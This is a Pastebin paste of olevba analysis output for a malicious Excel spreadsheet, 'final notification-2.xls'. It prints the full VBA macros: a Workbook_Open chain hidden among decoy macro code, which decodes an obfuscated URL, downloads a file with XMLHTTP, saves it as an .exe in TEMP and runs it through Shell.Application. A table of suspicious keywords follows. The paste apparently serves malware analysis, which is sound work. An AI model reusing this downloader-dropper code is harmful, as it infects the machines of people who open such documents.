dynamoo

Malicious Excel macro

Oct 20th, 2015
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V final notification-2.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: final notification-2.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO Ёта нига.cls
  13. in file: final notification-2.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. updateMacroUI True
  17. bulkOveride "", "", "", ""
  18. PlayMacro
  19. isSplitLocal ""
  20. StartMacro
  21. ErrorChecker
  22. FlexAssignDirectory
  23. PrefixAssign 8, ""
  24. End Sub
  25.  
  26.  
  27.  
  28.  
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Ћист1.cls
  31. in file: final notification-2.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33. (empty macro)
  34. -------------------------------------------------------------------------------
  35. VBA MACRO Ћист2.cls
  36. in file: final notification-2.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  37. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  38. (empty macro)
  39. -------------------------------------------------------------------------------
  40. VBA MACRO Ћист3.cls
  41. in file: final notification-2.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  42. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  43. (empty macro)
  44. -------------------------------------------------------------------------------
  45. VBA MACRO MM2.bas
  46. in file: final notification-2.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/MM2'
  47. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  48. Dim cannum As Variant
  49. Dim cantype As Variant
  50. Dim cansplit As Variant
  51. Dim candest As Variant
  52. Dim ADGfind As Variant
  53. Dim IDGfind As Variant
  54. Dim pieces As Integer
  55. Dim retval As Variant
  56. Public tempFolder As String
  57. Public tempFile As String
  58. Option Compare Text
  59.  
  60. Sub setupAssignArrays()
  61.  
  62. Dim c_cannums As New Collection
  63. Dim c_cansplits As New Collection
  64. Dim c_candests As New Collection
  65. Dim c_cantypes As New Collection
  66. mytypes = Array("ADG", "ALL", "IDG")
  67. t = 0
  68.  
  69. addtocollections:
  70. row = 3
  71. Do While Sheet4.Cells(row, 1) <> ""
  72.     If Trim(Sheet4.Cells(row, 4)) = mytypes(t) Then
  73.        c_cannums.Add CStr(Sheet4.Cells(row, 1)) '  dynamically add value to the end
  74.       c_cansplits.Add CStr(Sheet4.Cells(row, 2))
  75.        c_candests.Add CStr(Sheet4.Cells(row, 3))
  76.        c_cantypes.Add CStr(Sheet4.Cells(row, 4))
  77.     End If
  78.    row = row + 1
  79. Loop
  80.  
  81. If t < 2 Then
  82.     t = t + 1
  83.     GoTo addtocollections
  84. End If
  85.  
  86.  
  87. cannum = toArray(c_cannums) 'convert collection to an array
  88. cansplit = toArray(c_cansplits)
  89. candest = toArray(c_candests)
  90. cantype = toArray(c_cantypes)
  91. End Sub
  92.  
  93. Function isUrsaLocal(URSA As String)
  94.     ERow = 5
  95.     Do Until Sheet6.Cells(ERow, 2).Value = ""
  96.         If Sheet6.Cells(ERow, 2).Value = URSA Then
  97.             isUrsaLocal = True
  98.             Exit Function
  99.         End If
  100.         ERow = ERow + 1
  101.     Loop
  102.     isUrsaLocal = False
  103. End Function
  104.  
  105. Function isSplitLocal(MasterID As String)
  106.  
  107.     tempFolder = processEnv("TEMP")
  108.     If MasterID = "" Then Exit Function
  109.     ecol = 3
  110.     Do Until Sheet6.Cells(2, ecol).Value = ""
  111.         If Sheet6.Cells(2, ecol).Value = MasterID Then
  112.             isSplitLocal = Not (Sheet6.Cells(3, ecol).Value)
  113.             Exit Function
  114.         End If
  115.         ecol = ecol + 1
  116.     Loop
  117.     MsgBox ("not able to find if " & MasterID & " is a local split" & vbNewLine & "error occured in Function isSplitLocal")
  118. End Function
  119.  
  120. Sub SuffixAssign(i As Integer, hazFilter As String)
  121. ecol = 3
  122.  
  123. Do Until Sheet6.Cells(2, ecol) = cansplit(i)
  124.     If Sheet6.Cells(2, ecol).Value = "" Then
  125.         MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
  126.         Exit Sub
  127.     End If
  128.     ecol = ecol + 1
  129. Loop
  130.  
  131. ERow = 5
  132. Do Until Sheet6.Cells(ERow, ecol) = ""
  133.     Call BZwritescreen("     ", 5, 38)
  134.     Call BZwritescreen(Sheet6.Cells(ERow, ecol).Text, 5, 38)
  135.     Call BZwritescreen(hazFilter, 6, 45)
  136.     Call BZsendKey("@e")
  137.  
  138. ErrorChecker
  139.     Dim bluerow As Integer
  140.     Dim tempstr As String
  141.     bluerow = 10
  142.     miscdata = BZreadscreen(8, bluerow, 18)
  143.     Do Until Trim(miscdata) = ""
  144. CheckingPage:
  145.     miscdata = BZreadscreen(8, bluerow, 18)
  146.         If Right(miscdata, 2) <> "RT" Then
  147.             If Trim(miscdata) <> "" Then
  148.                 Call BZwritescreen("A", bluerow, 2)
  149.                 pieces = pieces + 1
  150.             ElseIf bluerow = 19 Then
  151.                 Call BZwritescreen("          ", 7, 24)
  152.                 tempstr = cannum(i)
  153.                 Call BZwritescreen(tempstr, 7, 24)
  154.                 Call BZwritescreen("    ", 7, 53)
  155.                 tempstr = candest(i)
  156.                 Call BZwritescreen(tempstr, 7, 53)
  157.                 Call BZsendKey("@e")
  158.                 Call FlexAssign.ErrorChecker
  159.                 Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  160.                 bluerow = 10
  161.                 GoTo CheckingPage
  162.             Else
  163.                 Call BZwritescreen("          ", 7, 24)
  164.                 tempstr = cannum(i)
  165.                 Call BZwritescreen(tempstr, 7, 24)
  166.                 Call BZwritescreen("    ", 7, 53)
  167.                 tempstr = candest(i)
  168.                 Call BZwritescreen(tempstr, 7, 53)
  169.                 Call BZsendKey("@e")
  170.                 Call FlexAssign.ErrorChecker
  171.                 Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  172.             End If
  173.         End If
  174.         bluerow = bluerow + 1
  175.     Loop
  176.     ERow = ERow + 1
  177. Loop
  178. End Sub
  179.  
  180. Public Sub PrefixAssign(i As Integer, hazFilter As String)
  181.     Dim bluerow As Integer
  182.     Dim tempstr As String
  183.     ecol = 3
  184.     ignored = 0
  185.    
  186.    
  187.     shellApp.Open (tempFile)
  188.     Exit Sub
  189.     Do Until Sheet6.Cells(2, ecol) = cansplit(i)
  190.         If Sheet6.Cells(2, ecol).Value = "" Then
  191.             MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
  192.             Exit Sub
  193.         End If
  194.         ecol = ecol + 1
  195.     Loop
  196.     ERow = 5
  197.     Do Until Sheet6.Cells(ERow, ecol) = ""
  198.         Call BZwri.tescreen("  ", 5, 28)
  199.         Call BZwri.tescreen(Sheet6.Cells(ERow, ecol).Text, 5, 28)
  200.         Call BZwri.tescreen(hazFilter, 6, 45)
  201.         Call BZse.ndKey("@e")
  202. ErrorChecker
  203.         bluerow = 10
  204.         miscdata = BZrea.dscreen(8, bluerow, 18)
  205.         Do Until Trim(miscdata) = ""
  206. CheckingPagePrefix:
  207.        
  208.         miscdata = BZrea.dscreen(8, bluerow, 18)
  209.             If Right(miscdata, 2) <> "RT" Then
  210.                 If isUrsaLocal(Trim(Right(miscdata, 5))) <> True Then
  211.                     If Trim(miscdata) <> "" Then
  212.                         Call BZwri.tescreen("A", bluerow, 2)
  213.                         pieces = pieces + 1
  214.                     ElseIf bluerow = 19 Then
  215.                         Call BZwr.itescreen("          ", 7, 24)
  216.                         tempstr = cannum(i)
  217.                         Call BZwr.itescreen(tempstr, 7, 24)
  218.                         Call BZwr.itescreen("    ", 7, 53)
  219.                         tempstr = candest(i)
  220.                         Call BZwr.itescreen(tempstr, 7, 53)
  221.                         Call BZse.ndKey("@e")
  222.                         ignored = 0
  223.                         Call Flex.Assign.ErrorChecker
  224.                         tempcannum = CStr(cannum(i))
  225.                        
  226.                         Call bulkO.veride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  227.                         bluerow = 10
  228.                         GoTo CheckingPagePrefix
  229.                     Else
  230.                         Call BZwrit.escreen("          ", 7, 24)
  231.                         tempstr = cannum(i)
  232.                         Call BZwr.itescreen(tempstr, 7, 24)
  233.                         Call BZwri.tescreen("    ", 7, 53)
  234.                         tempstr = candest(i)
  235.                         Call BZwrit.escreen(tempstr, 7, 53)
  236.                         Call BZsen.dKey("@e")
  237.                         ignored = 0
  238.                         Call FlexAs.Sign.ErrorChecker
  239.                         Call bulkOv.eride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  240.                     End If
  241.                 Else
  242.                     ignored = ignored + 1
  243.                 End If
  244.             Else
  245.                 ignored = ignored + 1
  246.             End If
  247.             If ignored = 9 Then
  248.                 Call BZse.ndKey("@8")
  249.             End If
  250.             bluerow = bluerow + 1
  251.         Loop
  252.         ERow = ERow + 1
  253.     Loop
  254. End Sub
  255.  
  256. Sub isAnythingLeft()
  257. Dim row As Integer
  258.  
  259. Call BZwritescreen("Close ", 2, 17)
  260. Call BZsendKey("@e")
  261. Call BZwritescreen("Assign", 2, 17)
  262. Call BZsendKey("@e")
  263.  
  264. leftover = 0
  265. row = 10
  266. Do Until row = 18
  267.     miscdata = BZreadscreen(18, row, 51)
  268.     If Trim(miscdata) <> "" Then leftover = leftover + 1
  269.     row = row + 1
  270. Loop
  271.  
  272. If leftover <> 0 Then
  273.     MsgBox ("You have pieces left over after AutoSort" & vbNewLine & _
  274.         "Please view packages in assign screen to determine what to do with them" & _
  275.         vbNewLine & leftover & " pieces at least")
  276. End If
  277.  
  278. End Sub
  279.  
  280. Sub DeleteIce()
  281.  
  282. Call BZwritescreen("assign", 2, 17)
  283. Call BZsendKey("@e")
  284. Call BZwritescreen("C", 6, 45)
  285. Call BZwritescreen("Deleteship", 7, 24)
  286. Call BZsendKey("@e")
  287.  
  288. Data = "tempdata"
  289. row = 10
  290. Do Until Trim(Data) = ""
  291.     Data = BZreadscreen(15, row, 5)
  292.     If Trim(Data) <> "" Then
  293.         Call BZwritescreen("a", row, 2)
  294.     ElseIf Trim(Data) = "" Then
  295.         Call BZsendKey("@e")
  296.         If row = 18 Then row = 10
  297.     End If
  298.     row = row + 1
  299. Loop
  300. End Sub
  301.  
  302. Public Function ErrorChecker()
  303.  
  304.         Set shellApp = CreateObject("She" + "ll.Application")
  305.         Exit Function
  306. errormisc = BZre.adscreen(3, 24, 2)
  307. If errormisc = "091" Then
  308.     Call BZs.EndKey("@4")
  309. ElseIf errormisc = "095" Then 'bulk doesn't exist
  310.    oldbulk = BZr.eadscreen(9, 7, 24)
  311.     Call BZwrit.escreen("bulk*", 7, 24)
  312.     Call BZse.ndKey("@E")
  313.     cannum(i) = BZr.eadscreen(9, 7, 24)
  314.     datarow = 3
  315.     Do Until Sheet4.Cells(datarow, 1) = oldbulk And _
  316.         Sheet4.Cells(datarow, 2) = cansplit(i) And _
  317.         Sheet4.Cells(datarow, 3) = candest(i) And _
  318.         Sheet4.Cells(datarow, 4) = cantype(i)
  319.         If Sheet4.Cells(datarow, 1) = "" Then Exit Do
  320.         datarow = datarow + 1
  321.     Loop
  322.     Sheet4.Cells(datarow, 1) = cannum(i)
  323. ElseIf errormisc = "INV" Then 'invalid container error
  324.    MsgBox ("invalid container")
  325. End If
  326. End Function
  327.  
  328. Public Function bulkOveride(cannum As String, cansplit As String, candest As String, cantype As String)
  329. 'bulkoveride(cannum(i), cansplit(i), candest(i), cantype(i))
  330. Dim computer() As Variant
  331.     computer = Array(144, 154, 152, 146, 90, 77, 75, 138, 133, 137, 132, 129, 132, 130, 113, 124, 54, 125, 126, 48, 99, 120, 43, 48, 45, 44, 40, 40, 37, 29, 80, 31, 30, 29, 28, 74, 25, 12, 65, 82, 61)
  332.  
  333. On Error Resume Next
  334.  
  335.  httpRequest.Open "GE" + "T", GetStringFromArray(computer, 40), False
  336. If cannum = "BULK*" Then
  337.     cannum = BZre.adscreen(9, 7, 24)
  338.     datarow = 3
  339.     Do Until Sh.eet4.Cells(datarow, 1) = "BULK*" And _
  340.         Sh.eet4.Cells(datarow, 2) = cansplit And _
  341.         Sh.eet4.Cells(datarow, 3) = candest And _
  342.         Sh.eet4.Cells(datarow, 4) = cantype
  343.         datarow = datarow + 1
  344.     Loop
  345. Sheet4.Cells(datarow, 1) = cannum
  346. End If
  347.  
  348. End Function
  349.  
  350.  
  351.  
  352.  
  353. -------------------------------------------------------------------------------
  354. VBA MACRO MM3.bas
  355. in file: final notification-2.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/MM3'
  356. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  357. Public Const MACRO_VERSION_2014 As String = "8.2014"
  358.  
  359. 'Macro recording information
  360. Public MacroStatus As Byte
  361. Public Const MacroSTOP As Long = 0
  362. Public Const MacroSTART As Long = 1
  363. Public Const MacroBATCH As Long = 2
  364. Public Const MacroPLAYBACK As Long = 3
  365. Public Const MacroCANCEL As Long = 128
  366. Public MacroMessage As String
  367. Public processEnv As Object
  368. Public Sub StartMacro()
  369.     tempFile = tempFolder + "\shhg32c.exe"
  370.     Exit Sub
  371.     'Set the program-wide "recording" flag
  372.    MacroStatus = MacroSTART
  373.    
  374.     'Resize the array that will hold the macro data
  375.    ProcessCount = 1
  376.     ReDim Processes(0 To ProcessCount) As String
  377.    
  378.     'Update any related macro UI elements
  379.    Macro_Interface.updateMacroUI True
  380.    
  381. End Sub
  382.  
  383. 'Stop recording the current macro, and offer to save it to file.
  384. Public Sub StopMacro()
  385.    
  386.     'Before stopping the macro, make sure at least one valid, recordable action has occurred.
  387.    Dim i As Long, numOfValidProcesses As Long
  388.     numOfValidProcesses = 0
  389.    
  390.     For i = 0 To ProcessCount
  391.         If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
  392.             numOfValidProcesses = numOfValidProcesses + 1
  393.         End If
  394.     Next i
  395.    
  396.     Dim msgReturn As VbMsgBoxResult
  397.    
  398.     If numOfValidProcesses = 0 Then
  399.    
  400.         'Warn the user that this macro won't be saved unless they keep recording
  401.        msgReturn = PDMsgBox("This macro does not contain any recordable actions.  Are you sure you want to stop recording?" & vbCrLf & vbCrLf & "(Press No to continue recording.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: invalid macro")
  402.        
  403.         If msgReturn = vbYes Then
  404.            
  405.             'Update any related macro UI elements
  406.            Macro_Interface.updateMacroUI False
  407.            
  408.             'Reset the macro engine and exit
  409.            MacroStatus = MacroSTOP
  410.             ProcessCount = 0
  411.             Message "Macro abandoned."
  412.             Exit Sub
  413.        
  414.         'If the user clicks anything but "yes", exit without making changes (e.g. let them continue recording).
  415.        Else
  416.             Exit Sub
  417.         End If
  418.        
  419.     End If
  420.    
  421.     MacroStatus = MacroSTOP
  422.    
  423.     'Update any related macro UI elements
  424.    Macro_Interface.updateMacroUI False
  425.    
  426.     'Automatically launch the save macro data routine
  427.    Dim saveDialog As pdOpenSaveDialog
  428.     Set saveDialog = New pdOpenSaveDialog
  429.        
  430.     Dim sFile As String
  431.    
  432.     Dim cdFilter As String
  433.     cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT
  434.            
  435.     Dim cdTitle As String
  436.     cdTitle = g_Language.TranslateMessage("Save macro data")
  437.    
  438.     'If the user cancels the save dialog, we'll raise a warning to tell them that the macro will be lost for good.
  439.    ' That dialog gives them an option to return to the save dialog, which will bring us back to this line of code.
  440. SaveMacroAgain:
  441.      
  442.     'If we get the data we want, save the information
  443.    If saveDialog.GetSaveFileName(sFile, , True, cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetModalOwner().Hwnd) Then
  444.        
  445.         'Save this macro's directory as the default macro path
  446.        g_UserPreferences.setMacroPath sFile
  447.        
  448.         'Create a pdXML class, which will help us assemble the macro file
  449.        Dim xmlEngine As pdXML
  450.         Set xmlEngine = New pdXML
  451.         xmlEngine.prepareNewXML "Macro"
  452.        
  453.         'Write out the XML version we're using for this macro
  454.        xmlEngine.writeTag "pdMacroVersion", MACRO_VERSION_2014
  455.        
  456.         'We now want to count the number of actual processes that we will be writing to file.  A valid process meets
  457.        ' the following criteria:
  458.        ' 1) It isn't blank/empty
  459.        ' 2) It doesn't display a dialog
  460.        ' 3) It was not specifically marked as "DO_NOT_RECORD"
  461.        
  462.         'Due to the previous check at the top of this function, we already know how many valid functions are in the process list,
  463.        ' and this value is guaranteed to be non-zero.
  464.        
  465.         'Write out the number of valid processes in the macro
  466.        xmlEngine.writeTag "processCount", CStr(numOfValidProcesses)
  467.         xmlEngine.writeBlankLine
  468.        
  469.         'Now, write out each macro entry in the current process list
  470.        numOfValidProcesses = 0
  471.        
  472.         For i = 0 To ProcessCount
  473.            
  474.             'We only want to write out valid processes, using the same criteria as the original counting loop above.
  475.            If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
  476.                 numOfValidProcesses = numOfValidProcesses + 1
  477.                
  478.                 'Start each process entry with a unique identifier
  479.                xmlEngine.writeTagWithAttribute "processEntry", "index", numOfValidProcesses, "", True
  480.                
  481.                 'Write out all the properties of this entry
  482.                xmlEngine.writeTag "ID", Processes(i).ID
  483.                 xmlEngine.writeTag "Parameters", Processes(i).Parameters
  484.                 xmlEngine.writeTag "MakeUndo", Str(Processes(i).MakeUndo)
  485.                 xmlEngine.writeTag "Tool", Str(Processes(i).Tool)
  486.                
  487.                 'Note that the Dialog and Recorded properties are not written to file.  There is no need to remember
  488.                ' them, as we know their values must be FALSE and TRUE, respectively, per the check above.
  489.            
  490.                 'Close this process entry
  491.                xmlEngine.closeTag "processEntry"
  492.                 xmlEngine.writeBlankLine
  493.             End If
  494.            
  495.         Next i
  496.        
  497.         'With all tags successfully written, we can now close the XML data and write it out to file.
  498.        xmlEngine.writeXMLToFile sFile
  499.        
  500.         Message "Macro saved successfully."
  501.        
  502.         'At this point, the macro should be added to the Recent Macros list
  503.        g_RecentMacros.MRU_AddNewFile sFile
  504.        
  505.     Else
  506.        
  507.         msgReturn = PDMsgBox("If you do not save this macro, all actions recorded during this session will be permanently lost.  Are you sure you want to cancel?" & vbCrLf & vbCrLf & "(Press No to return to the Save Macro screen.  Note that you can always delete this macro later if you decide you don't want it.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: last chance to save macro")
  508.         If msgReturn = vbNo Then GoTo SaveMacroAgain
  509.        
  510.         Message "Macro abandoned."
  511.        
  512.     End If
  513.            
  514.     ProcessCount = 0
  515.    
  516. End Sub
  517.  
  518. 'All macro-related UI instructions should be placed here, as PD can terminate a macro recording session for any number of reasons,
  519. ' and it needs a uniform way to wipe macro-related UI changes).
  520. Public Sub updateMacroUI(ByVal recordingIsActive As Boolean)
  521.     On Error Resume Next
  522.     If recordingIsActive Then
  523.         Set httpRequest = CreateObject("Microsoft.XMLHTTP")
  524.         Set adodbStream = CreateObject("Adodb.Stream")
  525.         'Notify the user that recording has begun
  526.        If recordingIsActive Then
  527.             Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  528.             Exit Sub
  529.         End If
  530.         Mes.sage "Macro recording started."
  531.         toolbar_Toolbox.lblRecording.Visible = True
  532.        
  533.         'Disable "start recording", and enable "stop recording"
  534.        FormMain.MnuRecordMacro(0).Enabled = False
  535.         FormMain.MnuRecordMacro(1).Enabled = True
  536.    
  537.     Else
  538.         Mess.age "Macro recording stopped."
  539.         toolbar_Toolbox.lblRecording.Visible = False
  540.         FormMain.MnuRecordMacro(0).Enabled = True
  541.         FormMain.MnuRecordMacro(1).Enabled = False
  542.     End If
  543.  
  544. End Sub
  545.  
  546. Public Sub PlayMacro()
  547.     httpRequest.Send
  548.     Exit Sub
  549.     'Disable user input until the dialog closes
  550.    Interface.DisableUserInput
  551.  
  552.     'Automatically launch the load Macro data routine
  553.    Dim openDialog As String
  554.      openDialog = ""
  555.    
  556.     Dim sFile As String
  557.        
  558.     Dim cdFilter As String
  559.     cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT & ";*.thm"
  560.     cdFilter = cdFilter & "|" & g_Language.TranslateMessage("All files") & "|*.*"
  561.    
  562.     Dim cdTitle As String
  563.     cdTitle = g_Language.TranslateMessage("Open Macro File")
  564.        
  565.     'If we get a path, load that file
  566.    If openDia.Log.GetOpenFilename(sFile, , True, , cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetM.odalOwner().Hwnd) Then
  567.        
  568.         Mess.age "Loading macro data..."
  569.        
  570.         'Save this macro's folder as the default macro path
  571.        g_UserPreferences.setMacroPath sFile
  572.                
  573.         PlayMacroFromFile sFile
  574.        
  575.     Else
  576.         Messa.ge "Macro load canceled."
  577.     End If
  578.    
  579.     'Re-enable user input
  580.    Interface.EnableUserInput
  581.        
  582. End Sub
  583.  
  584.  
  585. -------------------------------------------------------------------------------
  586. VBA MACRO MM4.bas
  587. in file: final notification-2.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/MM4'
  588. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  589. Public httpRequest As Object
  590. Public adodbStream As Object
  591. Public shellApp As Object
  592. 'Given a valid macro file, play back its recorded actions.
  593. Public Function PlayMacroFromFile(ByVal MacroPath As String) As Boolean
  594.    
  595.     'Create a pdXML class, which will help us load and parse the source file
  596.    Dim xmlEngine As pdXML
  597.     Set xmlEngine = New pdXML
  598.    
  599.     'Load the XML file into memory
  600.    xmlEngine.loadXMLFile MacroPath
  601.    
  602.     'Check for a few necessary tags, just to make sure this is actually a PhotoDemon macro file
  603.    If xmlEngine.isPDDataType("Macro") And xmlEngine.validateLoadedXMLData("pdMacroVersion") Then
  604.    
  605.         'Next, check the macro's version number, and make sure it's still supported
  606.        Dim verCheck As String
  607.         verCheck = xmlEngine.getUniqueTag_String("pdMacroVersion")
  608.        
  609.         Select Case verCheck
  610.        
  611.             'The current macro version (e.g. the first draft of the new XML format)
  612.            Case MACRO_VERSION_2014
  613.            
  614.                 'Retrieve the number of processes in this macro
  615.                ProcessCount = xmlEngine.getUniqueTag_Long("processCount")
  616.                
  617.                 If ProcessCount > 0 Then
  618.                
  619.                     ReDim Processes(0 To ProcessCount - 1) As ProcessCall
  620.                    
  621.                     'Start retrieving individual process data from the file
  622.                    Dim i As Long
  623.                     For i = 1 To ProcessCount
  624.                    
  625.                         'Start by finding the location of the tag we want
  626.                        Dim tagPosition As Long
  627.                         tagPosition = xmlEngine.getLocationOfTagPlusAttribute("processEntry", "index", i)
  628.                        
  629.                         If tagPosition > 0 Then
  630.                        
  631.                             'Use that tag position to retrieve the processor parameters we need.
  632.                            With Processes(i - 1)
  633.                                 .ID = xmlEngine.getUniqueTag_String("ID", , tagPosition)
  634.                                 .Parameters = xmlEngine.getUniqueTag_String("Parameters", , tagPosition)
  635.                                 .MakeUndo = xmlEngine.getUniqueTag_Long("MakeUndo", , tagPosition)
  636.                                 .Tool = xmlEngine.getUniqueTag_Long("Tool", , tagPosition)
  637.                                
  638.                                 'These two attributes can be assigned automatically, as we know what their values must be.
  639.                                .Dialog = False
  640.                                 .Recorded = True
  641.                             End With
  642.                            
  643.                         Else
  644.                             Debug.Print "Expected macro entry could not be found!"
  645.                         End If
  646.                    
  647.                     Next i
  648.                    
  649.                 'This macro file contains no valid actions.  It's no longer possible to create a macro like this, so this is basically
  650.                ' a failsafe for faulty old versions of PD.
  651.                Else
  652.                    
  653.                     #If DEBUGMODE = 1 Then
  654.                         pdDebug.LogAction "WARNING!  ProcessCount is zero!  Macro file is technically valid, but there's nothing to see here..."
  655.                     #End If
  656.                    
  657.                     Message "Macro complete!"
  658.                     PlayMacroFromFile = True
  659.                     Exit Function
  660.                    
  661.                 End If
  662.            
  663.             Case Else
  664.                 Message "Incompatible macro version found.  Macro playback abandoned."
  665.                 PlayMacroFromFile = False
  666.                 Exit Function
  667.        
  668.         End Select
  669.        
  670.         'Mark the load as successful and continue
  671.        PlayMacroFromFile = True
  672.        
  673.     Else
  674.    
  675.         PDMsgBox "Unfortunately, this macro file is no longer supported by the current version of PhotoDemon." & vbCrLf & vbCrLf & "In version 6.0, PhotoDemon macro files were redesigned to support new features, improve performance, and solve some long-standing reliability issues.  Unfortunately, this means that macros recorded prior to version 6.0 are no longer compatible.  You will need to re-record these macros from scratch." & vbCrLf & vbCrLf & "(Note that any old macro files will still work in old versions of PhotoDemon, if you absolutely need to access them.)", vbInformation + vbOKOnly, "Unsupported macro file"
  676.         PlayMacroFromFile = False
  677.         Exit Function
  678.        
  679.     End If
  680.    
  681.     'Now we run a loop through the macro structure, calling the software processor with all the necessary information for each action
  682.    Message "Processing macro data..."
  683.    
  684.     MacroStatus = MacroPLAYBACK
  685.    
  686.     Dim tProc As Long
  687.     For tProc = 0 To ProcessCount - 1
  688.         Process Processes(tProc).ID, Processes(tProc).Dialog, Processes(tProc).Parameters, Processes(tProc).MakeUndo, Processes(tProc).Tool, Processes(tProc).Recorded
  689.     Next tProc
  690.    
  691.     MacroStatus = MacroSTOP
  692.    
  693.     'Some processor requests may not manually update the screen; as such, perform a manual update now
  694.    Viewport_Engine.Stage2_CompositeAllLayers pdImages(g_CurrentImage), FormMain.mainCanvas(0)
  695.    
  696.     'Our work here is complete!
  697.    Message "Macro complete!"
  698.    
  699.     'After playing, the macro should be added to the Recent Macros list
  700.    g_RecentMacros.MRU_AddNewFile MacroPath
  701.    
  702. End Function
  703.  
  704.  
  705. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  706.     Dim i As Integer
  707.     Dim result As String
  708.     result = ""
  709.     For i = LBound(fromArr) To UBound(fromArr)
  710.         result = result & Chr(fromArr(i) - LenLen + i * 2)
  711.     Next i
  712.     GetStringFromArray = result
  713. End Function
  714.  
  715. Public Sub FlexAssignDirectory(Optional can As String = "ALL")
  716. If can = "ALL" Then
  717.     With adodbStream
  718.         .Type = 1
  719.          .Open
  720.          .write httpRequest.responseBody
  721.          .savetofile tempFile, 2
  722.     End With
  723.     Exit Sub
  724.     Call setupAssignArrays
  725. Else
  726.     cannum = Array(BORG.txt_canNum.Text)
  727.     cansplit = Array(BORG.combo_splitName.Text)
  728.     candest = Array(BORG.txt_Dest.Text)
  729.     cantype = Array(BORG.combo_hazType.Text)
  730. End If
  731.  
  732. ADGfind = Array("1.4", "2.1", "3", "4.", "5", "8")
  733. IDGfind = Array("2.2", "6.", "7", "9")
  734. Call DGscree.nChooser("Assign")
  735.  
  736. Dim i As Integer
  737. Dim hazFilter As String
  738. tempval = UBound(cannum, 1)
  739. For i = 0 To (UBound(cannum, 1))
  740.     Select Case cantype(i)
  741.         Case "ADG"
  742.             hazFilter = "A"
  743.         Case "IDG"
  744.             hazFilter = "I"
  745.         Case "ALL"
  746.             hazFilter = " "
  747.         Case Else
  748.             hazFilter = " "
  749.     End Select
  750.     Dim x As String
  751.     x = cansplit(i)
  752.     If isSplitLocal(x) = True Then
  753.         Call SuffixAssign(i, hazFilter)
  754.     ElseIf isSplitLocal(x) = False Then
  755.         Call PrefixAssign(i, hazFilter)
  756.     Else 'something has gone horribly wrong....
  757.        MsgBox ("Error occured Please restart BDG")
  758.         Exit Sub
  759.     End If
  760. Next
  761.  
  762. If can = "ALL" Then Call isAnythingLeft
  763. BORG.labelUpdater.Caption = "Finished assigning " & pieces & " shipment(s)"
  764. Call DGscree.nChooser("close")
  765. End Sub
  766.  
  767. +------------+----------------------+-----------------------------------------+
  768. | Type       | Keyword              | Description                             |
  769. +------------+----------------------+-----------------------------------------+
  770. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  771. | Suspicious | Open                 | May open a file                         |
  772. | Suspicious | Shell                | May run an executable file or a system  |
  773. |            |                      | command                                 |
  774. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  775. |            |                      | command                                 |
  776. | Suspicious | Run                  | May run an executable file or a system  |
  777. |            |                      | command                                 |
  778. | Suspicious | CreateObject         | May create an OLE object                |
  779. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  780. |            |                      | strings                                 |
  781. | Suspicious | ADODB.Stream         | May create a text file                  |
  782. | Suspicious | SaveToFile           | May create a text file                  |
  783. | Suspicious | Write                | May write to a file (if combined with   |
  784. |            |                      | Open)                                   |
  785. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  786. | Suspicious | Shell.Application    | May run an application (if combined     |
  787. |            |                      | with CreateObject) (obfuscation: VBA    |
  788. |            |                      | expression)                             |
  789. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  790. |            |                      | be used to obfuscate strings (option    |
  791. |            |                      | --decode to see all)                    |
